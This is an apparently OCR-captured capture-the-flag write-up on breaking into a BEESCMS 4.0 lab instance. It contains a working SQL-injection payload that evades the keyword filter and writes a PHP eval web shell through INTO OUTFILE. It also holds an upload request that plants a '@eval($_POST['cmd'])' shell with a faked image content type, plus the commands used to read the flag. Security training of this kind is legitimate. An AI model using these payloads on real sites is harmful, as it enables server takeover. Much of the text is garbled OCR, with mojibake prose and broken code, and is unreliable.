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Warning: move_uploaded_file(/var/www/himl/uplead/ing/. prng) : failed to open stream: Permission denied in
fvarfwww/hinl fincludes ffun. php on line 603

Warning: nove uploaded file(): Unable to move * /tmp/phpDca0o0’ to 7 fvar/www/hitml/upload/ing/. png’ in
fvarfwww/htnl fincludes/fun. php on line @03
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(BEREJE KRBT

o ~|0 B R 3EES_V4.0 R 20160525 rEme-e-
- *ING BEERM) BN b *ING BERM) L
1,224,840 2021/8/2 0:52:00 3 admin 1,237,439 2021/8/2 0:59:55
3,480 2021/8/2 0:52:00 B alone 3,480 2021/8/2 0:59:56
6,187 2021/8/2 0:52:00 B article 6,187 2021/8/2 0:59:56
| 5,599 2021/8/2 0:52:00 5,599 2021/8/2 0:59:56
B ckeditor 1,033,555 2021/8/2 0:52:01 Bl ckeditor 2021
[ data 2021/8/2 0:52:01 [ data 202
B down 2021 :52:01 B down 202
2021/7/23 17:24:53
£ includes 93 2021/8/2 0:52:01 [ includes 1 2021/8/2 0:59:57
i install 2021/8/2 0:59:
@l job 3 2021/8/2 0:52:01 ob 3 2021
B languages 2021/8/2 0:52:02 languages 2021/8/.
@ member 2021/8/2 0:52:02 @ member

6,266

1,891
Bl sitemap 1

i template

Bl upload

u.htaccess

ndb.sql 74,417
nflag.sh 75
mindex.php 3,528
mrobots.txt 160
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elseif($action=="ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST["submit'];
$user=F1_html(F1_vuv(f1_value($_POST[ 'user'])));
$password=F1_html(f1_vvv(fl_value($_POST['password’'])));
$code=$_POST[ 'code'];
if(lisset($submit)){

msg(ENEBEREEN);

—&

+

if(empty($user)||empty($password)){
msg("EHHAFEREAE");

¥

if(lempty($_sys['safe_open'])){
foreach($_sys["safe_open’] as $k=>$v){
if($v=="3"){

//if($codel=$s_code){msg("MIEEEARIERE! ");}

}

check_login($user, $password);

2021/8/2 0:52:02
2021/8/2 0:52:02
2021/8/2 0:52:02
2021/8/2 0:52:02
2021/8/2 0:52:02
2021/8/2 0:52:02
2021/7/23 17:25:29 |n=
2021/7/23 17:25:29
2021/7/2317
2021/7/231T: =
2021/7/2317:26:22 | &

31
9 %

wwwincludes\fun.php

[=Ad

2021/7/3016:04:00 73,737 3% Hi—4] ¥ UTF-8 v PC

3 2021/8/2 0:59:57
2021/8/2 0:59:57
2021/8/. 7

2021
Bl sitemap 7 2021
B template 2021/8/2 0:59:57
B2 upload 2,715,670 2021/8/2 0:59:58
m.htaccess 382 2015/3/118:10:32
mindex.php 3,528 2015/3/2 17:29:04
m robots.txt 140 2012/3/20 10:22:
AR o 1,091 2016/5/25 16:26:00
B 196 2084 @l fthan
}
/1HEER
elseif($action=="ck_login"){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit"];
G $user=F1_htm1(fl_value($_POST[ 'user']));
L $password=F1_html(f1_value($_POST['password']));
$code=$_POST[ *code’];
if(!isset($submit)){
nsg("ENERREREN);
}
if(empty($user)||empty($password)){
nsg("EHEFETEAE");
}
if(lempty($_sys['safe_open'])){
foreach($_sys["safe_open’] as $k=>$v){
if($v=="3"){
] if($code!=$s_code){msg("HAFEAER! ");}
}
}
check_login($user,$password);
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BEES_V4.0_R_20160525\includes\fun.php NEN=N

2015/7/6 22:01:22 73,572 %% HE—4] v UTF-8 v PC

$rel[$row[ 'id'11[ name ' 1=$rou[ 'cate_name'1;
$rel[¢row[ 'id"]]["child"]=get_sitemap_child($row['id']);
}
}
return $rel;

}

function f1_value($str){
if(empty($str)){return;}

Joutfile/i’, ", $str);
define(’ INC_BEES','B'. 'EE'."SCMS");

function f1_html($str){
return htmlspecialchars($str);

return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%

~ $rel[$ron[ 'id' ][ 'name' ]=$ron[ 'cate_name']; ~
$rel[$row['id']1]['child' J=get_sitemap_child($row['id']);
}
}
return $rel;

}

function 1 value($str){
if(empty($str)){return;}
[ return preg_replace(’/select|insert | update | and | in | on | left | joins | delete |\%
loutfile/i’, ", 3str);

define('INC_BEES®,'B'."EE'.'SCMS');
function f1_html($str){
return htmlspecialchars($str);

} 3
= function F1_vwv($str){ @
if(empty($str)){return;}
if(preg_match("/\ /i", $str)){
exit('Go away,bad hacker!!');
preg_replace(’/ex/i","",$str);
return $str;
/EREEEER
*$cate- £ HID
*/
function get_cateinfo($cate){ function get/cateinfo($cate){
if(file_exists(DATA_PATH. cache_cate/cache_category_all.php")}{inclu TA_PATH. *cache_ iffffile_exists(DATA_PATH. ' cache_cate/cache_category_all.php')){include(DATA_PATH. ‘cache_
if(lempty($category)){ i (lempty($category)){ v
foreach($category as $k=>$v){ Foreach($category as $k=>$v){ .
if(gv['id"] if(gv['id’ cate){
$re $rel= $v; ©
break; v break; M
1757: 108 BN < > 2 1757408 < >
= return-preg_replace(’/select|insert-|-update:|-and:|-in-|-on:|-left-|-joins-|-delete-|[\%[\=|\.\.\*\.\/|-union-|-from: | where-|-group-|-into-|load file

=

# 2 ANERERS e A DNEEEIE]: 0.06 &

return:preg_replace('/select|insert-|-update: | and-|-in-|-on-|-left-|:joins: | -delete- |\&|\=[\/\*¥[\¥[\-\.\/[\-\/| -union- | -from: | -where: | -group: | into- | Load_file:
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$up=% POST| 2 15

$pic_alt=$ _POST[ |

$is_alt = § POST[®

$is_thumb=$_POST["

$thumb_width=$_POST[ "th

$thumb_height=% POST[ ‘thum ig

$up is_ thumb=intval($is_thumb);

$up_thumb_width=empty($thumb_width)?$_sys[ "thump widt

$up_thumb_height=empty($thumb_height)?$ \y\[ thump_he

$pic_cate=$_POST[ te'];
if(is_array($_FILES| “1[ "tmp_name "

foreach($_FILES[‘up’][‘tmp_nam

if (empty($v)

$value_arr=array('');

$pic_info=array('");

rintval($thumb_width);
A /
ght'J:intval ($thumb_height);

I
as $k=>%v){

f(is_uploaded file($v)
$pic_info[ "tmp i
$pic_info[ 's

name ' ]=$v;
"1=%_FILES['uf
$pic_info[ ]=$% FILES[ "ur type
$pic_info[ ‘name’ ]=$% FILES|
$pic_name_alt=empty($is_alt)?"":$pic_alt[$k];

$is up size = $ sys[ 1 ze']1*1000%1000;
$value_arr=up_img($pic_info,$is up_size,array(’imag 5
$up_thumb_width,$up thumb_height,$logo=1,$pic_name altl)

"1[%k];
|[$k];
"10%k]1;

$pic_name=$value_arr[ "up_pic
$pic
$pic
$pic
$pic [ X
$pic_time = $value arr[ up | 1

$pic_thumb = iconv('GBK',' 3" ,$value_arr[ "t
$cate = empty($pic_cate)?1:$pic_cate;

ext=$value_arr[ ug i
title = $pic alt[$k];
size = $value_arr|

_path = $value arr|

$sql=
$pic size.

" .DB_PRE."uppics (f
".$pic

".$pic_path."’ _time. '".$pic_thumb."","”

up_img($file,$size, ‘ﬁtyw 'f, humb=0, $thumb_width=
file exists(DATA PATH. info.php')
is uploaded file( $F11{J[ ‘)
($file[’ "1>$size)f
msg(’ 1'.$size.

$pic_name=pathinfo($file[ 'n

$file type=$file[ type'];
if(lin array(;tltolower $flle type),$type)){
msg( ' L& E )

$path_name="upload/img/";

$path=CMS PATH.$path name};

'".$pic_name."

",$thumb_height="
le(DATA PATH.

1'),$up_is_thumb,

"".$pic_ext.”

$logo=1,%pic alt="

)i ]

y e$pic Eitle.",'"
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f(1file exists(%path)){
@mkdir($path);

$up file name=empty($pic_alt)rdate( " YmdHis

$up file pame2=iconv( UTF-8', 'GBK ,$up file name);
$file name=$path.gup file name2.'.'.$pic_name[ 'ext

fF(file exists($file nam

msg(' C

$return_name[’
breturn_name[ '

| :
‘up_pic

y$file_name) ){
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$file info=figetimagesize($file name);

$up_file_name2 i $pic_alt MK, XPMRAER, RFEHENHFFHE hackable R THMTEHET .
[ 255k ]
RNTHBXE, FERREICEEIE Content-Type: image/png Bt4F, is_alt #N 1.

MR EATIE, REM EE AL, 2 PHP $UT IR RSO B RERR, R LER IS4 2 php T .
(MH B AALE ARt $pic_alt BefziiR, BEEMIERARENEY, —KEE
5—A bt JE
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i N

MR
ey s
EROHT
MR
B &t
& nEEs
o EIRMR o ‘
R O2@7  EFCAsREBLE R, AEEesE 5
. EEXEES
s e B w0 W20 & REEALGME R
» FEFERER ElRalt: niao
- BT a5 L BT | S LEOER SRRRES 5L, BASTAEN, BYREOFEL —FOESS
o FIEBAE

- HEERER
= LEMER
EiRER

:$thumb width;

| :$thumb_height;

(" ,$pic_thumb);

,ifll?iname 5

$pic_nam
$pic_name JTF » 'GBK" ,$pic_name);

ic=$ FILES
$return_thumb=""3;
f(file exists(DATA PATH.'s) fo.j ) 1clude (DATA_PATH.
f(is_uploaded_file($new_pic[ p_name ' ]))H
($new_pic['size’]>$_sys[ _size']){msg(
if(!in_array(strtolower($ pic['type']),array

$new pic_info=pathinfo($new pic[ me']);

‘ATH.$pic"bath.$p1[ name. " .

@move_uploaded file($new pic[ tmp name'],$new_pic_name); N
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SQALEAE L (B
#, WEETEKHEN wp, 4B, BRAE SQLEATALHM. (T

< C A = | al0fSec3-1cae-476e-bb23-31ed556086dd.node4.buuoj.cn/admin/login.php?action=ck login

bad! hacker!
sql:select id,admin_name,admin_password,admin_purview,is_disable from bees_admin where admin_name="admin" limit 0,1

I ) o=
_SDN @HBohan
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function f1 value($str){

if(empty($str)){return;}

return preg replace('/select|insert update and in on left joins delete |\%|\=|\.\.\/|\.\ uni
on from | where group into |load_file
outfile/i ',$str);

1
J

define( s . : )s
function f1 _html($str){

return htmlspecialchars($str);

N
J

function f1_vvv($str){
if(empty($str)){return;}
if(preg_match( , $str)){
exit(
)i
preg_replace( s, %str);

return $str;

ST R, BRIE AT, BAME XA T, WELTREHT.
HRIBARAS B8 500 SQL 84 (MR

$rel=$GLOBALS|[ 1->fetch_asc(

.$user.

M SQL

it select xxx into outfile xxx
# <?php eval($_REQUEST][ 1;

admin

var/www/html/upload/miao.php'#

(P AN FNTE s Ox BT IR, XUT Ox RELHFEA BMER & SQL P ATHREE T
Payload:

POST /admin/login.php?action=ck_login HTTP/1.1

user=admin’%27%2F%2A%2A%2Funi%20union%20on%2F%2A%2A%2Fseselectlect’%2F%2A%2A%2Fnull%2Cnull%2Cnull%2Cnull%2COx3c3f7
06870206576616C282451524551554553545b276d275d293b3f3e%2F%2A%2A%2F1n%20in%20t0%2F%2A%2A%2Foutoutfilefile2F%2A%2A

2F%27%2Fvar%2Fwwws2Fhtml%2Fupload’%2Fmiao%2Ephp7%277%23&password=miao&code=&submit=true&submit.x=43&submit.y=24
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var/www/html/upload/miao.ph

BEE R IR MySQL 5t 2 root FI P EERKI, TREEES A
T PHP iZ1T7E www-data Fi /', ~ariwww/html B F 2% www-data FiF T, BF B FE% A2 5 8 E WS4 S AR B .

$ ps -ef
PID USER TIME COMMAND
1 root 0:07 /bin/sh /usr/local/bin/docker-php-entrypoint
10 root
54 root
60 root

21 /usr/bin/mysqld user=root skip-name-resolve skip-networking=0
02 php-fpm: master process (/usr/local/etc/php-fpm.conf)

00 nginx: master process nginx

61 nginx 00 nginx: worker process
www-data 01 php-fpm: pool www
root 00 sleep 5s

00 ps -ef

0
0
0
0
www-data ©:00 php-fpm: pool www
0
0
0

www-data

A AT BT B R A X AR B AT AR .

19 admin  67a5a77ba2e3d8f10146dcd9ca323318 1 @

2/ AN AN AN \N total 28

3 druwxr-xr-x 1 root roct 35 Aug 2 15:41 .

4 drwxr-xr-x 1 www-data www-data 34 Aug 2 13:16 ..

5 -rW-ruw-ru- 1 root root 83 Aug 2 15:31 c.php

& druxr-xr-x 2 root root 54 Jul 30 85:48 fck

7 druxr-xr-x 2 root root 24 Jul 30 85:48 file

8| druwxr-xr-x 7 root roct 4896 Jul 3@ 85:48 img

9 -ruw-r--r-- 1 reoot root @ Jul 3@ B85:39 index.html
18| -rw-r--r-- 1 root roct 11599 Jul 3@ 85:39 mark_logo.gif
11 -rw-rw-rw- 1 root roct 83 Aug 2 15:41 miac.php
12 -rw-r--r-- 1 root roct 945 Jul 3@ 85:39 no_pc.gif
13
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9  admin  67aba’/baZe3detleldbdcd9cas2351s 1 @

1

28N S\NOAN AN total 5456

3 drwxr-xr-x 1 www-data www-data 34 Aug 2 13:16 .

4 druxr-xr-x 1 root root 18 F=b 29 2828 ..

S5 -rw-r--r-- 1 root root 382 Jul 3@ @5:39 .htaccess

b druxr-xr-x 4 root root 4896 Jul 3@ @5:48 admin

7 druxr-xr-x 2 root root 41 Jul 2@ @5:48 alone

8 druxr-xr-x 2 root root 67 Jul 3@ 85:48 article

9 druxr-xr-x 2 root root 4@ Jul 3@ 85:48 book
18 drwxr-xr-x 7 root root 131 Jul 3@ @5:48 ckeditor
11 drwxr-xr-x 13 root root 4896 Jul 3@ @5:48 data
12 drwxr-xr-x 2 root root 61 Jul 3@ 85:48 down
13 druxr-xr-x 2 root root 6 Jul 3@ @5:48 hackable
14 drwxr-xr-x 2 root root 288 Jul 3@ 85:48 includes
15 -rw-r--r-- 1 root roct 3528 Jul 3@ 85:39 index.php
16 drwxr-xr-x 2 root roct 59 Jul 3@ @5:48 job
17 | drwxr-xr-x 2 root roct 62 Jul 3@ @5:48 languages
18 drwxr-xr-x 2 root root 42 Jul 3@ 85:48 member
19 drwxr-xr-x 2 root roct 89 Jul 3@ @85:48 mx_form
28 drwxr-xr-x 2 root roct 67 Jul 3@ @5:48 product
21 -ruw-r--r-- 1 root root 1668 Jul 3@ 85:39 robots.txt
22 druxr-xr-x 2 root root 42 Jul 3@ 85:48 search
23 drwxr-xr-x 2 root roct 43 Jul 3@ 85:48 sitemap
24 drwxr-xr-x 4 root roct 78 Jul 3@ 85:48 template
0 13 I [ 1 rant R 2 Ana 7 1E-A1 inlaad
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PR
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o g

£ AT upravou

26| -rw-r--r-- 1 root root 5564649 Jul 3@ 85:39 www.zip
27 o o B TP
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AntSword #iE HO @&
« = [1117.21.200.166 o
D Bx¥1EE (16) < | [O3ciryiE (18) -
=)/ OFE v ALtE CRH &KFEEF NBE ~ > =3
P var Bt B Hoh Ei
= bin
(D bin 2019-01-31 01:32:00 4 kb 0755
= dev
5 dev 2021-08-02 13:16:30 340 b 0755
et
O et 2021-08-02 13:16:30 66 b 0755
I home
M b 3 home 2019-01-31 00:20:38 22b 0755
B media ) 2020-02-29 20:23:57 230b 0755
| mnt 05O media 2019-01-30 02:55:44 44 b 0755
W proc G mnt ™ #R38: /flag.bxt
M oot 0O proc
= un D roct /flag.txt
. 1 flag{anleBQ—8313—43ac—b13c—8b8985e64369}
= sbin
- O rmn ‘ 2
srv
3 shin
. sys
. tmp BNy |
. usr O s
0O tmp |
0O wsr
0O wvar |
[ .dockerenv
B flagtxt I
= AR j CSDN @HBohan

RIET, FIRE# pyflag T (bushi

E—Z=RH
8:00 - 18:00

s tmbc T E A& oenan

Efe B

mx T, FBEEEZTHASLESHERNE, SELBEAEW,

BEARBITH R I T www-data Fi 7 RE ~arhtmliwww XN EBEEFRRBN, FERAF, FBAICLAERXAW R B 3% 5!

Q37929

XEAMREREAKED, Wi LK 58 bk R
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EEUEMEESA T, BE.

it & ik move_uploaded_file £ R 2B BN E R T .

m Cancel Target: http://a10f5ec3-1cae-476e-bb23-31ed556086dd.node4.buuoj.cn f @

O=n=s =

Request Response =

Pretty IREWE \n  Actions w Raw Render \n Actions w =

- wv

28 ------ WebKitFormBoundaryIZBj4kiaMbZzCOWL 21 </head> :

29 Content-Disposition: form-data; name="pic_alt" 42 2

36 43 <body> g
31 miao a4 <div class="msg_body">
32 ----as WebKitFormBoundaryIZBj4kiaMbZzCOWL 45 <div class="msg_lan">

32 Content-Disposition: form-data; name="new_pic"; filename="cmd.php" IBEER

34 Content-Type: image/png </div>

35 — ot - - >
” :

<div class="msg_contain">

T
IS
PN

37 <?php @eval($_POST['cmd']);?>

4 <p style="font-weight:bold;color:#1566B3">
38 =-m--- WebKitFormBoundaryIZBj4kiaMbZzCOWL BAEHRIN !
39 Content-Disposition: form-data; name="action" </p>
10 <p>
41 save_edit TAE&F E<span id="1is_time"></span>
42 --==-- WebKitFormBoundaryIZBj4kiaMbZzCOWL EEhRE
43 Content-Disposition: form-data; name="pic_cate" </p>
44 <p id="time_url">
451 <a href="?pic_nav=1&nav=pic_list&admin_p_nav=content" >IRE] F—T%</
46 -==-=- WebKitFormBoundaryIZBj4kiaMbZzCOWL </p>
47 Content-Disposition: form-data; name="pic_path" <script type="text/javascript">
48 ) time_go();
49 ‘/”’ </scripts
50 --=--- WebKitFormBoundaryIZBj4kiaMbZzCOWL
51 Content-Disposition: form-data; name="pic_name" </div>
52 48 </div>
531 19
54 ====-- WebKitFormBoundaryIZBj4kiaMbZzCOWL 50 </body>
55 Content-Disposition: form-data; name="pic" ik C5DN @HBofan

admin/admin_pic.php?nav=pic_list&admin_p nav=content HTTP/1.1
Host: al@fS5ec3-1cae-476e-bb23-31ed556086dd.node4.buuoj.cn
Content-Length: 1546
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

Origin: http

Content-Type: multipart/form-data; boundary WebKitFormBoundaryIZBj4kiaMbZzCOWL

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.10
7 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,




pic_path B=#H1T. [

& C A = | al0fS5ec3-1cae-476e-bb23-31ed556086dd.noded.buuo

PHP Version 5.6.40

2 SMP Wed

Configure Command "./configure' "--build=x86_64-linux-musl’ --with-config-file-path=/usr/local/etc/php’ '--with-config-file-
usr/local/etc/php/conf.d' '--enable-option-checking=fatal' '--with-mhash' '--enable-ftp' '--
enable-mbstring' '--enable-mysqlnd' '--with-curl' '--with-libedit' '--with-openssl' '--with-zlib’ '--en
fpm’ '--with-fpm-user=www-data’ '--with-fpm-group=www-data' '--disable-cgi' 'build alias=x86 64-
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linux-musl’ ‘C'FLAGS:—fstack—protector—stro'ng '—_fpic'-'—fpie' -02" 'LDFLAGS=-WI,-O1 "-WI,~-hash-
style=both' '-pie" 'CPPFLAGS=-fstack-protector-strong '-fpic' '-fpie’ '-02"

Server API FPM/FastCGI
Virtual Directory Support disabled
Configuration File (php.ini) Path /usr/localfetc/php

Loaded Configuration File

Jusr/local/etc/php/php.ini

Scan this dir for additional .ini files

/Jusr/local/etc/php/conf.d

Additional .ini files parsed

Jusr/local/etc/php/conf.d/docker-php-ext-mysgl.ini, fusr/local/etc/php/conf.d/docker-php-ext-mysqli.ini,
/usr/local/etc/php/conf.d/docker-php-ext-pdo_mysglini

PHP API 20131106
PHP Extension 20131226
Zend Extension 220131226

Zend Extension Build

API220131226,NTS

PHP Extension Build

API20131226,NTS

Debug Build no

Thread Safety disabled
Zend Signal Handling disabled
Zend Memory Manager enabled

Zend Multibyte Support

provided by mbstring

CSUN RSO

IPv6 Subbort enabled

total 5464

drwxr-xr-x 1 www-data www-data 62 Aug 2 16:53

drwxr-xr-x 1 root root 18 Feb 29 2820 ..
=rW=r--pr-- 1 root root 382 Jul 30 ©85:39 .htaccess
|Lrw-r--r-- 1 www-data www-data 31 Aug 2 16:53 .php
drwxr-xr-x 4 root root 4896 Jul 30 85:40 admin
drwxr-xr-x 2 root root 41 Jul 38 85:40 alone
drwxr-xr-x 2 root root 67 Jul 3@ 85:40 article
drwxr-xr-x 2 root root 40 Jul 3@ 85:4@ book
drwxr-xr-x 7 root root 131 Jul 3@ 85:4@ ckeditor
drwxr-xr-x 13 root root 4096 Jul 30 85:40 data
drwxr-xr-x 2 root root 61 Jul 38 ©5:40 down
drwxr-xr-x 2 root root 6 Jul 38 85:40 hackable
drwxr-xr-x 2 root root 288 Jul 30 85:40 includes
“PW=-pP--p-- 1 root root 3528 Jul 3@ 85:39 index.php
drwxr-xr-x 2 root root 59 Jul 38 ©5:48 job
drwxr-xr-x 2 root root 62 Jul 38 ©5:48 languages
drwxr-xr-x 2 root root 42 Jul 3@ 85:48 member
-rW-rW-rw- 1 root root 83 Aug 2 15:52 miao.php
drwxr-xr-x 2 root root 89 Jul 3@ 85:48 mx_form
drwxr-xr-x 2 root root 67 Jul 3@ 85:48 product
=rW=r--pr-- 1 root root 160 Jul 30 85:39 robots.txt
drwxr-xr-x 2 root root 42 Jul 38 85:40 search
drwxr-xr-x 2 root root 43 Jul 30 85:48 sitemap
drwxr-xr-x 4 root root 78 Jul 30 85:40 template
drwxr-xr-x 1 root root 185 Aug 2 16:41 upload
SPW-r--r-- 1 root root 5564649 Jul 30 @t:30 WeSIPGHBohan
Request Response

pretty [EEQB \n  Actions w Raw Render \n Actions w

1 POST /.php HTTP/1.1

2 Host: alefSec3-lcae-476e-bb23-31ed556086dd.noded.buuoj.cn

1 HTTP/1.1 280 OK
2 Server: openresty



3 Content-Length: 23 3 Date: Mon, 02 Aug 2021 17:12:15 GMT
4 Pragma: no-cache 4 Content-Type: text/html; charset=UTF-8
5 Cache-Control: no-cache 5 Connection: close
6 Upgrade-Insecure-Requests: 1 6 X-Powered-By: PHP/5.6.4@
7 Origin: http://alefSec3-1cae-476e-bb23-31ed556086dd.noded.buuoj.cn 7 Content-Length: 33
g Content-Type: application/x-www-form-urlencoded 8
9 User-Agent: Mozilla/5.8 (Windows NT 18.0; Win64; x64) AppleWebKit/537.36 9
(KHTML, 1like Gecko) Chrome/92.0.4515.107 Safari/537.36

B
= ®

10 Accept: <?php @eval($_POST['cmd']);?>
text/html,application/xhtml+xml,application/xml;q=@.9,image/avif,image/webp
,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=08.9

1 Referer: http://alef5ec3-1cae-476e-bb23-31ed556086dd.node4.buuoj.cn/.php

12 Accept-Encoding: gzip, deflate

12 Accept-Language: zh-CN,zh;gq=0.9

Cookie: PHPSESSID=qil9cet449kbphec7d7f856v32

Connection: close

=
.

cmd=system('cat .php');

CSDN @HBohan

W, fEEXRT, BBAT.
M TE C [z 5]

XETHE, FEERASE iconv K#HH, EAEZEXANRBNEARTERET ...

).rand(1,10000) :$pic_alt;
,$up_file name);

Sup_file name=empty($pic_alt)?date(
Sup_file name2=iconv( 5

$file name=$path.$up file name2. .$pic_name[ 15

$pic_name=$ POST[ 1;
$pic_name

iconv( ,$pic_name);

phpinfo &—H&.

iconv
iconv support enabled
iconv implementation unknown
iconv library version unknown
Directive Local Value Master Value
iconv.input_encoding
iconv.internal_encoding
iconv.output encoding
e EEr

R, FBERRERE MK libiconv i glibe, BriliX BEIARFEMARE T

INGE

..... BHET.

L7

FarHBotaT
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